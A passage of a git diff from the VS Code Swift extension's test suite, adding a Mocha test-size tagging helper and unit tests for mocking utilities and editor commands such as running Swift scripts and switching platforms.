filterArguments(["-one", "inc1", "test", "-1", "inc2"], argumentFilter), - ["-one", "inc1", "-1", "inc2"] - ); - assert.notStrictEqual(filterArguments(["-one=1", "-zero=0", "-one1=1"], argumentFilter), [ - "-one=1", - ]); - }); - - test("buildPathFlags", async () => { - // no configuration provided - fallback - await vscode.workspace.getConfiguration("swift").update("buildPath", undefined); - - assert.deepStrictEqual(buildPathFlags(), []); - - await vscode.workspace.getConfiguration("swift").update("buildPath", ""); - - assert.deepStrictEqual(buildPathFlags(), []); - - // configuration provided - await vscode.workspace - .getConfiguration("swift") - .update("buildPath", "/some/other/full/test/path"); - - assert.deepStrictEqual(buildPathFlags(), ["--build-path", "/some/other/full/test/path"]); - }); - - test("buildDirectoryFromWorkspacePath", async () => { - // no configuration provided - fallback - await vscode.workspace.getConfiguration("swift").update("buildPath", undefined); - - assert.strictEqual( - buildDirectoryFromWorkspacePath("/some/full/workspace/test/path", false), - ".build" - ); - - assert.strictEqual( - buildDirectoryFromWorkspacePath("/some/full/workspace/test/path", true), - "/some/full/workspace/test/path/.build" - ); - - await vscode.workspace.getConfiguration("swift").update("buildPath", ""); - - assert.strictEqual( - buildDirectoryFromWorkspacePath("/some/full/workspace/test/path", false), - ".build" - ); - - assert.strictEqual( - buildDirectoryFromWorkspacePath("/some/full/workspace/test/path", true), - "/some/full/workspace/test/path/.build" - ); - - // configuration provided - await vscode.workspace - .getConfiguration("swift") - .update("buildPath", "/some/other/full/test/path"); - - assert.strictEqual( - buildDirectoryFromWorkspacePath("/some/full/workspace/test/path", false), - "/some/other/full/test/path" - ); - - assert.strictEqual( - buildDirectoryFromWorkspacePath("/some/full/workspace/test/path", true), - "/some/other/full/test/path" - ); - - await vscode.workspace - .getConfiguration("swift") - .update("buildPath", "some/relative/test/path"); - - assert.strictEqual( - buildDirectoryFromWorkspacePath("/some/full/workspace/test/path", false), - "some/relative/test/path" - ); - - assert.strictEqual( - buildDirectoryFromWorkspacePath("/some/full/workspace/test/path", true), - "/some/full/workspace/test/path/some/relative/test/path" - ); - }); -}); diff --git a/test/suite/version.test.ts b/test/suite/version.test.ts deleted file mode 100644 index 0c0c8dd9e..000000000 --- a/test/suite/version.test.ts +++ /dev/null @@ -1,71 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VSCode Swift open source project -// -// Copyright (c) 2021 the VSCode Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as assert from "assert"; -import { Version } from "../../src/utilities/version"; - -suite("Version Test Suite", () => { - test("parseVersion", () => { - const version = Version.fromString("2.3.6"); - assert.strictEqual(version?.major, 2); - assert.strictEqual(version?.minor, 3); - assert.strictEqual(version?.patch, 6); - }); - test("parseTwoDigitVersion", () => { - const version = Version.fromString("4.1"); - assert.strictEqual(version?.major, 4); - assert.strictEqual(version?.minor, 1); - assert.strictEqual(version?.patch, 0); - }); - test("parseVersionWithString", () => { - const version = Version.fromString("4.1.1-dev"); - assert.strictEqual(version?.major, 4); - assert.strictEqual(version?.minor, 1); - assert.strictEqual(version?.patch, 1); - }); - test("parseTwoDigitVersionWithString", () => { - const version = Version.fromString("5.5-dev"); - assert.strictEqual(version?.major, 5); - assert.strictEqual(version?.minor, 5); - assert.strictEqual(version?.patch, 0); - }); - test("lessThan", () => { - assert(new Version(1, 0, 0).isLessThan(new Version(1, 2, 1))); - assert(new Version(2, 3, 0).isLessThan(new Version(2, 3, 1))); - assert(new Version(3, 5, 3).isLessThan(new Version(4, 0, 1))); - }); - test("lessThanOrEqual", () => { - assert(new Version(1, 0, 0).isLessThanOrEqual(new Version(1, 2, 1))); - assert(new Version(2, 3, 0).isLessThanOrEqual(new Version(2, 3, 1))); - assert(new Version(3, 5, 3).isLessThanOrEqual(new Version(4, 0, 1))); - assert(new Version(2, 2, 1).isLessThanOrEqual(new Version(2, 2, 1))); - }); - test("greaterThan", () => { - assert(new Version(1, 0, 1).isGreaterThan(new Version(1, 0, 0))); - assert(new Version(2, 3, 0).isGreaterThan(new Version(1, 4, 1))); - assert(new Version(3, 3, 0).isGreaterThan(new Version(3, 2, 7))); - }); - test("greaterThanOrEqual", () => { - assert(new Version(1, 0, 1).isGreaterThanOrEqual(new Version(1, 0, 0))); - assert(new Version(2, 3, 0).isGreaterThanOrEqual(new Version(1, 4, 1))); - assert(new Version(3, 3, 0).isGreaterThanOrEqual(new Version(3, 2, 7))); - assert(new Version(7, 1, 2).isGreaterThanOrEqual(new Version(7, 1, 2))); - }); - test("operators", () => { - assert(new Version(1, 0, 1) >= new Version(1, 0, 0)); - assert(new Version(1, 0, 1) <= new Version(4, 5, 0)); - assert(new Version(1, 1, 1) > new Version(1, 1, 0)); - assert(new Version(2, 3, 2) < new Version(2, 3, 8)); - }); -}); diff --git a/test/tags.ts b/test/tags.ts new file mode 100644 index 000000000..d047bd355 --- /dev/null +++ b/test/tags.ts @@ -0,0 +1,186 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import type { AsyncFunc, Func, Suite, Test } from "mocha"; + +/** The set of all available test sizes that can be applied to a test or suite. */ +export type TestSize = "small" | "medium" | "large"; + +export interface MochaFunctions { + suite: Mocha.SuiteFunction; + test: Mocha.TestFunction; +} + +interface TaggedSuite extends Suite { + __VSCode_Swift_size?: TestSize; +} + +interface TaggedTest extends Test { + __VSCode_Swift_size?: TestSize; +} + +function getTimeout(size: TestSize): number { + // Don't time out when debugging. + // The 'VSCODE_DEBUG' environment variable gets set by '.vscode-test.js'. + const isDebugRun = process.env["VSCODE_DEBUG"] === "1"; + if (isDebugRun) { + return 0; + } + + const SECOND = 1000; + const MINUTE = 60 * SECOND; + switch (size) { + case "small": + // Keep this up to date with the default timeout in 'vscode-test.js'. + return 2 * SECOND; + case "medium": + return 2 * MINUTE; + case "large": + return 10 * MINUTE; + } +} + +/** + * Installs functionality into Mocha that is required to enable support for the tag() function. + */ +export function installTagSupport() { + const isFastTestRun = process.env["FAST_TEST_RUN"] === "1"; + + setup(function () { + const currentTest: TaggedTest | undefined = this.currentTest; + if (!currentTest) { + return; + } + + // Retrieve tags either from the current test or one of its parent suites. + // By default all tests/suites are tagged small. + let testSize: TestSize = "small"; + if (currentTest.__VSCode_Swift_size) { + testSize = currentTest.__VSCode_Swift_size; + } else { + let parent: TaggedSuite | undefined = currentTest.parent; + while (parent) { + if (parent.__VSCode_Swift_size) { + testSize = parent.__VSCode_Swift_size; + break; + } + parent = parent.parent; + } + } + + // Skip large tests during a fast test run. + if (testSize === "large" && isFastTestRun) { + currentTest.skip(); + } + }); +} + +/** + * Creates a wrapper around Mocha's suite() and test() functions with the provided tags. At the + * moment we only support a single test size tag, but more could be added in the future. + * + * Tags are used to identify how long a test is expected to run. There are three categories: + * - **small:** 2 second timeout used primarily for unit tests. + * - **medium:** 2 minute timeout used for the majority of integration tests. + * - **large:** 10 minute timeout used for very long running tests that should only be run + * in the nightly CI. + * + * When applied to a suite, all child tests and suites will inherit the tag(s) unless they + * are tagged otherwise. For example: + * + * ```typescript + * tag("medium").suite("A suite that contains medium sized tests by default", () => { + * tag("large").test("Explicitly applies the large tag to the test", () => { + * // 10 minute timeout + * }); + * + * test("Inherits the default tag of medium from the suite", () => { + * // 2 minute timeout + * }); + * + * suite("All tests in this suite will also inherit the medium tag", () => { + * // 2 minute timeout + * }); + * }); + * ``` + * + * @param size The size that will be tagged onto the suite or test. + * @returns A wrapper that can be used to create Mocha tests and suites. + */ +export function tag(size: TestSize): MochaFunctions { + function applyTags(obj: T): T { + if (!obj) { + return obj; + } + + obj.__VSCode_Swift_size = size; + obj.timeout(getTimeout(size)); + + return obj; + } + + // Create a mocha suite() function that applies the provided tag(s) to the suite. + // + // The timeouts need to be set within the suite function or they won't propagate to + // to contained suites and tests: https://github.com/mochajs/mocha/issues/5422 + const wrappedSuite = (title: string, fn?: (this: Suite) => void): Suite => { + if (fn) { + return suite(title, function () { + applyTags(this); + fn.call(this); + }); + } + return suite(title); + }; + wrappedSuite.only = (title: string, fn?: (this: Suite) => void): Suite => { + if (fn) { + // eslint-disable-next-line mocha/no-exclusive-tests + return suite.only(title, function () { + applyTags(this); + fn.call(this); + }); + } + // eslint-disable-next-line mocha/no-exclusive-tests + return suite.only(title); + }; + wrappedSuite.skip = (title: string, fn: (this: Suite) => void): Suite | void => { + return suite.skip(title, function () { + applyTags(this); + fn.call(this); + }); + }; + + // Create a mocha test() function that applies the provided tag(s) to the test. + const wrappedTest = (titleOrFn: string | AsyncFunc | Func, fn?: AsyncFunc | Func): Test => { + return applyTags(typeof titleOrFn === "string" ? test(titleOrFn, fn) : test(titleOrFn)); + }; + wrappedTest.only = (titleOrFn: string | AsyncFunc | Func, fn?: AsyncFunc | Func): Test => { + return applyTags( + // eslint-disable-next-line mocha/no-exclusive-tests + typeof titleOrFn === "string" ? test.only(titleOrFn, fn) : test.only(titleOrFn) + ); + }; + wrappedTest.skip = (titleOrFn: string | AsyncFunc | Func, fn?: AsyncFunc | Func): Test => { + return applyTags( + typeof titleOrFn === "string" ? test.skip(titleOrFn, fn) : test.skip(titleOrFn) + ); + }; + wrappedTest.retries = (n: number): void => { + return test.retries(n); + }; + + return { + suite: wrappedSuite, + test: wrappedTest, + }; +} diff --git a/test/tsconfig.json b/test/tsconfig.json new file mode 100644 index 000000000..0b5734825 --- /dev/null +++ b/test/tsconfig.json @@ -0,0 +1,12 @@ +{ + "extends": "../tsconfig-base.json", + "compilerOptions": { + "types": ["node"], + "experimentalDecorators": true, + "paths": { + "@src/*": ["../src/*"] + } + }, + "include": ["**/*"], + "references": [{ "path": "../src" }] +} diff --git a/test/unit-tests/MockUtils.test.ts b/test/unit-tests/MockUtils.test.ts new file mode 100644 index 000000000..02fe92d1d --- /dev/null +++ b/test/unit-tests/MockUtils.test.ts @@ -0,0 +1,291 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as fs from "fs/promises"; +import { stub } from "sinon"; +import * as vscode from "vscode"; + +import configuration from "@src/configuration"; +import { Version } from "@src/utilities/version"; + +import { + AsyncEventEmitter, + mockFn, + mockGlobalEvent, + mockGlobalModule, + mockGlobalObject, + mockGlobalValue, + mockObject, + waitForReturnedPromises, +} from "../MockUtils"; + +// eslint-disable-next-line @typescript-eslint/no-unused-vars +function emptyFunction(..._: any): any { + // Intentionally empty +} + +// A test suite for test code? Crazy, right? +suite("MockUtils Test Suite", () => { + suite("waitForReturnedPromises()", () => { + test("waits for all promises to complete before resolving", async () => { + const values: number[] = []; + const stubbedFn = stub<[number], Promise>().callsFake(async num => { + await new Promise(resolve => { + setTimeout(resolve, 1); + }); + values.push(num); + }); + void stubbedFn(1); + void stubbedFn(2); + void stubbedFn(3); + + expect(values).to.deep.equal([]); + await waitForReturnedPromises(stubbedFn); + expect(values).to.deep.equal([1, 2, 3]); + }); + }); + + suite("mockObject()", () => { + test("can mock properties of an interface", () => { + interface TestInterface { + a: number; + b: string; + c: Version; + d(): string; + e(_: string): string; + } + const sut = mockObject({ + a: 5, + b: "this is a string", + c: new Version(6, 0, 0), + d: emptyFunction, + e: emptyFunction, + }); + sut.d.returns("this is another string"); + sut.e.callsFake(input => input + "this is yet another string"); + + expect(sut.a).to.equal(5); + expect(sut.b).to.equal("this is a string"); + expect(sut.c).to.containSubset({ major: 6, minor: 0, patch: 0 }); + expect(sut.d()).to.equal("this is another string"); + expect(sut.e("a: ")).to.equal("a: this is yet another string"); + }); + + test("can mock an interface with readonly properties", () => { + interface TestInterface { + readonly a: number; + } + const sut = mockObject({ + a: 0, + }); + + sut.a = 17; + expect(sut.a).to.equal(17); + }); + + test("can ommit properties from being mocked", () => { + interface TestInterface { + a: number; + b: string; + c: Version; + d(): string; + } + const sut = mockObject({ + a: 5, + }); + + expect(() => sut.d()).to.throw( + "Attempted to access property 'd', but it was not mocked" + ); + }); + + test("can pass a mocked interface as a function parameter", () => { + interface TestInterface { + readonly a: number; + } + function testFn(arg: TestInterface): number { + return arg.a; + } + const sut = mockObject({ + a: 0, + }); + + expect(testFn(sut)).to.equal(0); + }); + + test("can mock a class", () => { + class TestClass { + a: number = 5; + b: string = "hello"; + private c: string = "there"; + d(): number { + return 5; + } + } + const sut = mockObject({ + a: 5, + b: "this is a string", + d: emptyFunction, + }); + sut.d.returns(6); + + expect(sut.a).to.equal(5); + expect(sut.b).to.equal("this is a string"); + expect(sut.d()).to.equal(6); + }); + + test("re-throws errors that occurred during the mocking process", () => { + interface TestInterface { + a: number; + } + const sut = mockObject( + new Proxy( + { a: 4 }, + { + get() { + throw new Error("Cannot access this property"); + }, + } + ) + ); + + expect(() => sut.a).to.throw("Cannot access this property"); + }); + }); + + suite("mockFn()", () => { + test("can fully mock a function inline", () => { + const fn: () => number = mockFn(s => s.returns(5)); + expect(fn()).to.equal(5); + }); + + test("can be used with mockObject() to fully mock a function inline", () => { + interface TestInterface { + fn1(): string; + fn2(_: string): string; + } + const sut = mockObject({ + fn1: mockFn(s => s.returns("this is another string")), + fn2: mockFn(s => s.callsFake(input => input + "this is yet another string")), + }); + + expect(sut.fn1()).to.equal("this is another string"); + expect(sut.fn2("a: ")).to.equal("a: this is yet another string"); + }); + + test("retains type information when mocking a function", () => { + mockFn<() => number>(s => { + s.returns( + // @ts-expect-error - string is not compatible with number + "compiler error" + ); + }); + }); + }); + + suite("mockGlobalObject()", () => { + const mockedWorkspace = mockGlobalObject(vscode, "workspace"); + + test("can mock the workspace object from the VSCode API", async () => { + mockedWorkspace.asRelativePath.returns("relative"); + + expect(vscode.workspace.asRelativePath("absolute")).to.equal("relative"); + expect(mockedWorkspace.asRelativePath).to.have.been.calledOnceWithExactly("absolute"); + }); + }); + + suite("mockGlobalModule()", () => { + const mockedFS = mockGlobalModule(fs); + const mockedConfiguration = mockGlobalModule(configuration); + + test("can mock the fs/promises module", async () => { + mockedFS.readFile.resolves("file contents"); + + await expect(fs.readFile("some_file")).to.eventually.equal("file contents"); + expect(mockedFS.readFile).to.have.been.calledOnceWithExactly("some_file"); + }); + + test("can mock the configuration module", () => { + expect(configuration.sdk).to.equal(""); + // Make sure you can set a value using the mock + mockedConfiguration.sdk = "macOS"; + expect(configuration.sdk).to.equal("macOS"); + // Make sure you can set a value using the real module + configuration.sdk = "watchOS"; + expect(configuration.sdk).to.equal("watchOS"); + // Mocking objects within the configuration requires separate MockedObjects + const mockedLspConfig = mockObject<(typeof configuration)["lsp"]>(configuration.lsp); + mockedConfiguration.lsp = mockedLspConfig; + mockedLspConfig.disable = true; + expect(configuration.lsp.disable).to.be.true; + }); + }); + + suite("mockGlobalValue()", () => { + const platform = mockGlobalValue(process, "platform"); + + test("can set the value of a global variable", () => { + platform.setValue("android"); + expect(process.platform).to.equal("android"); + }); + }); + + suite("mockGlobalEvent()", () => { + const didCreateFiles = mockGlobalEvent(vscode.workspace, "onDidCreateFiles"); + + test("can trigger events from the VSCode API", async () => { + const listener = stub(); + vscode.workspace.onDidCreateFiles(listener); + + await didCreateFiles.fire({ files: [] }); + expect(listener).to.have.been.calledOnceWithExactly({ files: [] }); + }); + }); + + suite("AsyncEventEmitter", () => { + test("waits for listener's promise to resolve before resolving fire()", async () => { + const events: number[] = []; + const sut = new AsyncEventEmitter(); + sut.event(async num => { + await new Promise(resolve => { + setTimeout(resolve, 1); + }); + events.push(num); + }); + + await sut.fire(1); + await sut.fire(2); + await sut.fire(3); + + expect(events).to.deep.equal([1, 2, 3]); + }); + + test("event listeners can stop listening using the provided Disposable", async () => { + const listener1 = stub(); + const listener2 = stub(); + const listener3 = stub(); + const sut = new AsyncEventEmitter(); + + sut.event(listener1); + sut.event(listener2).dispose(); + sut.event(listener3); + + await sut.fire(); + + expect(listener1).to.have.been.calledOnce; + expect(listener2).to.not.have.been.called; + expect(listener3).to.have.been.calledOnce; + }); + }); +}); diff --git a/test/unit-tests/commands/newSwiftFile.test.ts b/test/unit-tests/commands/newSwiftFile.test.ts new file mode 100644 index 000000000..b10f4efb0 --- /dev/null +++ b/test/unit-tests/commands/newSwiftFile.test.ts @@ -0,0 +1,53 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as path from "path"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import { newSwiftFile } from "@src/commands/newFile"; +import { fileExists } from "@src/utilities/filesystem"; +import { TemporaryFolder } from "@src/utilities/tempFolder"; + +import { mockGlobalObject } from "../../MockUtils"; + +suite("newSwiftFile Command Test Suite", () => { + const workspaceMock = mockGlobalObject(vscode, "workspace"); + const windowMock = mockGlobalObject(vscode, "window"); + const languagesMock = mockGlobalObject(vscode, "languages"); + + test("Creates a blank file if no URI is provided", async () => { + await newSwiftFile(undefined); + + expect(workspaceMock.openTextDocument).to.have.been.calledWith({ language: "swift" }); + expect(windowMock.showTextDocument).to.have.been.calledOnce; + }); + + test("Creates file at provided directory", async () => { + const folder = await TemporaryFolder.create(); + const file = path.join(folder.path, "MyFile.swift"); + windowMock.showSaveDialog.resolves(vscode.Uri.file(file)); + + await newSwiftFile(vscode.Uri.file(folder.path), () => Promise.resolve(true)); + + await expect(fileExists(file)).to.eventually.be.true; + + expect(workspaceMock.openTextDocument).to.have.been.calledOnce; + expect(languagesMock.setTextDocumentLanguage).to.have.been.calledOnceWith( + match.any, + "swift" + ); + expect(windowMock.showTextDocument).to.have.been.calledOnce; + }); +}); diff --git a/test/unit-tests/commands/openPackage.test.ts b/test/unit-tests/commands/openPackage.test.ts new file mode 100644 index 000000000..1b6546cf2 --- /dev/null +++ b/test/unit-tests/commands/openPackage.test.ts @@ -0,0 +1,69 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +// import * as assert from "assert"; +import { expect } from "chai"; +import * as path from "path"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import { openPackage } from "@src/commands/openPackage"; +import * as fs from "@src/utilities/filesystem"; +import { Version } from "@src/utilities/version"; + +import { mockGlobalModule, mockGlobalObject } from "../../MockUtils"; + +suite("openPackage Command Test Suite", () => { + const windowMock = mockGlobalObject(vscode, "window"); + const filesystemMock = mockGlobalModule(fs); + + async function runTestWithMockFs(version: Version, expected: string, paths: string[]) { + const basePath = "/test"; + const expectedPath = path.join(basePath, expected); + paths.forEach(p => { + filesystemMock.fileExists.withArgs(path.join(basePath, p)).resolves(true); + }); + windowMock.showTextDocument.resolves(); + await openPackage(version, vscode.Uri.file(basePath)); + + expect(windowMock.showTextDocument).to.have.been.calledOnceWith( + match.has("fsPath", expectedPath) + ); + } + + test("Opens nothing when there is no package.swift", async () => { + await openPackage(new Version(6, 0, 0), vscode.Uri.file("/test")); + + expect(windowMock.showTextDocument).to.not.have.been.called; + }); + + test("Opens Package.swift file", async () => { + await runTestWithMockFs(new Version(6, 0, 0), "Package.swift", ["Package.swift"]); + }); + + test("Opens Package@swift-6.0.0.swift file", async () => { + await runTestWithMockFs(new Version(6, 0, 0), "Package@swift-6.0.0.swift", [ + "Package.swift", + "Package@swift-6.0.0.swift", + ]); + }); + + test("Opens Package@swift-6.1.2.swift file", async () => { + await runTestWithMockFs(new Version(6, 1, 2), "Package@swift-6.1.2.swift", [ + "Package.swift", + "Package@swift-6.swift", + "Package@swift-6.1.swift", + "Package@swift-6.1.2.swift", + ]); + }); +}); diff --git a/test/unit-tests/commands/runPluginTask.test.ts b/test/unit-tests/commands/runPluginTask.test.ts new file mode 100644 index 000000000..9e742cdfb --- /dev/null +++ b/test/unit-tests/commands/runPluginTask.test.ts @@ -0,0 +1,33 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import { runPluginTask } from "@src/commands/runPluginTask"; + +import { mockGlobalObject } from "../../MockUtils"; + +suite("runPluginTask Test Suite", () => { + const commandsMock = mockGlobalObject(vscode, "commands"); + + test("Executes runTask command", async () => { + await runPluginTask(); + + expect(commandsMock.executeCommand).to.have.been.calledOnceWith( + "workbench.action.tasks.runTask", + match({ type: "swift-plugin" }) + ); + }); +}); diff --git a/test/unit-tests/commands/runSwiftScript.test.ts b/test/unit-tests/commands/runSwiftScript.test.ts new file mode 100644 index 000000000..a6b6b7de4 --- /dev/null +++ b/test/unit-tests/commands/runSwiftScript.test.ts @@ -0,0 +1,140 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import { beforeEach } from "mocha"; +import { match, stub } from "sinon"; +import * as vscode from "vscode"; + +import { runSwiftScript } from "@src/commands/runSwiftScript"; +import configuration from "@src/configuration"; +import { TaskManager } from "@src/tasks/TaskManager"; +import { BuildFlags } from "@src/toolchain/BuildFlags"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { instance, mockFn, mockGlobalObject, mockGlobalValue, mockObject } from "../../MockUtils"; + +suite("runSwiftScript Test Suite", () => { + const mockTaskManager = mockObject({ executeTaskAndWait: stub().resolves() }); + const mockToolchain = mockObject({ + getToolchainExecutable: () => "/usr/bin/swift", + swiftVersion: new Version(6, 0, 0), + buildFlags: instance( + mockObject({ + withAdditionalFlags: mockFn(s => s.callsFake(args => args)), + }) + ), + }); + + function createMockTextDocument( + options: { + isUntitled?: boolean; + } = {} + ) { + const isUntitled = options.isUntitled ?? false; + const baseDocument = { + getText: stub().returns('print("Hello, World!")'), + uri: vscode.Uri.file("/path/to/test.swift"), + languageId: "swift", + isUntitled, + }; + + // Add properties specific to saved documents + if (!isUntitled) { + return mockObject({ + ...baseDocument, + fileName: "test.swift", + save: stub().resolves(true), + }); + } + + return mockObject(baseDocument); + } + + beforeEach(() => { + mockTaskManager.executeTaskAndWait.resetHistory(); + }); + + test("Executes runTask command with a saved document", async () => { + await runSwiftScript( + instance(createMockTextDocument()), + instance(mockTaskManager), + instance(mockToolchain) + ); + + expect(mockTaskManager.executeTaskAndWait).to.have.been.calledOnceWith( + match.has("detail", "swift -swift-version 6 test.swift") + ); + }); + + test("Executes runTask command with an unsaved document", async () => { + await runSwiftScript( + instance(createMockTextDocument({ isUntitled: true })), + instance(mockTaskManager), + instance(mockToolchain) + ); + + expect(mockTaskManager.executeTaskAndWait).to.have.been.calledOnceWith( + match.has("detail", match(/^swift -swift-version 6 /)) + ); + }); + + suite("User Configuration", () => { + const config = mockGlobalValue(configuration, "scriptSwiftLanguageVersion"); + const mockWindow = mockGlobalObject(vscode, "window"); + + test("Executes run task with the users chosen swift version", async () => { + config.setValue(() => "5"); + + await runSwiftScript( + instance(createMockTextDocument()), + instance(mockTaskManager), + instance(mockToolchain) + ); + + expect(mockTaskManager.executeTaskAndWait).to.have.been.calledOnceWith( + match.has("detail", "swift -swift-version 5 test.swift") + ); + }); + + test("Prompts for the users desired swift version", async () => { + config.setValue(() => "Ask Every Run"); + const selectedItem = { value: "6", label: "Swift 6" }; + mockWindow.showQuickPick.resolves(selectedItem); + + await runSwiftScript( + instance(createMockTextDocument()), + instance(mockTaskManager), + instance(mockToolchain) + ); + + expect(mockTaskManager.executeTaskAndWait).to.have.been.calledOnceWith( + match.has("detail", "swift -swift-version 6 test.swift") + ); + }); + + test("Exists when the user cancels the prompt", async () => { + config.setValue(() => "Ask Every Run"); + mockWindow.showQuickPick.resolves(undefined); + + await runSwiftScript( + instance(createMockTextDocument()), + instance(mockTaskManager), + instance(mockToolchain) + ); + + expect(mockTaskManager.executeTaskAndWait).to.not.have.been.called; + }); + }); +}); diff --git a/test/unit-tests/commands/runTestMultipleTimes.test.ts b/test/unit-tests/commands/runTestMultipleTimes.test.ts new file mode 100644 index 000000000..8f043b22d --- /dev/null +++ b/test/unit-tests/commands/runTestMultipleTimes.test.ts @@ -0,0 +1,81 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { extractTestItemsAndCount } from "@src/commands/testMultipleTimes"; + +suite("Run Tests Multiple Times", () => { + suite("extractTestItemsAndCount()", () => { + function createDummyTestItem(label: string): vscode.TestItem { + return { id: label, uri: vscode.Uri.file(`/dummy/path/${label}`) } as vscode.TestItem; + } + + test("handles empty arguments", () => { + const { testItems, count } = extractTestItemsAndCount(); + expect(testItems).to.deep.equal([]); + expect(count).to.be.undefined; + }); + + test("handles test items with no count", () => { + const testItem1 = createDummyTestItem("Test Item 1"); + const testItem2 = createDummyTestItem("Test Item 2"); + const testItem3 = createDummyTestItem("Test Item 3"); + + const { testItems, count } = extractTestItemsAndCount(testItem1, testItem2, testItem3); + expect(testItems).to.deep.equal([testItem1, testItem2, testItem3]); + expect(count).to.be.undefined; + }); + + test("handles test items with count", () => { + const testItem1 = createDummyTestItem("Test Item 1"); + const testItem2 = createDummyTestItem("Test Item 2"); + const testItem3 = createDummyTestItem("Test Item 3"); + + const { testItems, count } = extractTestItemsAndCount( + testItem1, + testItem2, + testItem3, + 17 + ); + expect(testItems).to.deep.equal([testItem1, testItem2, testItem3]); + expect(count).to.equal(17); + }); + + test("ignores undefined or null arguments", () => { + const testItem1 = createDummyTestItem("Test Item 1"); + const testItem2 = createDummyTestItem("Test Item 2"); + const testItem3 = createDummyTestItem("Test Item 3"); + + const { testItems, count } = extractTestItemsAndCount( + testItem1, + null, + testItem2, + testItem3, + undefined + ); + expect(testItems).to.deep.equal([testItem1, testItem2, testItem3]); + expect(count).to.be.undefined; + }); + + test("throws an error if the count is not the last argument", () => { + const testItem1 = createDummyTestItem("Test Item 1"); + const testItem2 = createDummyTestItem("Test Item 2"); + + expect(() => extractTestItemsAndCount(testItem1, 17, testItem2)).to.throw( + "Unexpected argument 17 at index 1" + ); + }); + }); +}); diff --git a/test/unit-tests/commands/switchPlatform.test.ts b/test/unit-tests/commands/switchPlatform.test.ts new file mode 100644 index 000000000..55c4c895e --- /dev/null +++ b/test/unit-tests/commands/switchPlatform.test.ts @@ -0,0 +1,86 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { switchPlatform } from "@src/commands/switchPlatform"; +import configuration from "@src/configuration"; +import { + DarwinCompatibleTarget, + SwiftToolchain, + getDarwinTargetTriple, +} from "@src/toolchain/toolchain"; +import { StatusItem } from "@src/ui/StatusItem"; + +import { + MockedObject, + instance, + mockFn, + mockGlobalModule, + mockGlobalObject, + mockObject, +} from "../../MockUtils"; + +suite("Switch Target Platform Unit Tests", () => { + const mockedConfiguration = mockGlobalModule(configuration); + const windowMock = mockGlobalObject(vscode, "window"); + const mockSwiftToolchain = mockGlobalModule(SwiftToolchain); + let mockContext: MockedObject; + let mockedStatusItem: MockedObject; + + setup(() => { + mockedStatusItem = mockObject({ + start: mockFn(), + end: mockFn(), + }); + mockContext = mockObject({ + statusItem: instance(mockedStatusItem), + }); + }); + + test("Call Switch Platform and switch to iOS", async () => { + const selectedItem = { value: DarwinCompatibleTarget.iOS, label: "iOS" }; + windowMock.showQuickPick.resolves(selectedItem); + mockSwiftToolchain.getSDKForTarget.resolves(""); + expect(mockedConfiguration.swiftSDK).to.equal(""); + + await switchPlatform(instance(mockContext)); + + expect(windowMock.showQuickPick).to.have.been.calledOnce; + expect(windowMock.showWarningMessage).to.have.been.calledOnceWithExactly( + "Selecting the iOS target platform will provide code editing support, but compiling with a iOS SDK will have undefined results." + ); + expect(mockedStatusItem.start).to.have.been.called; + 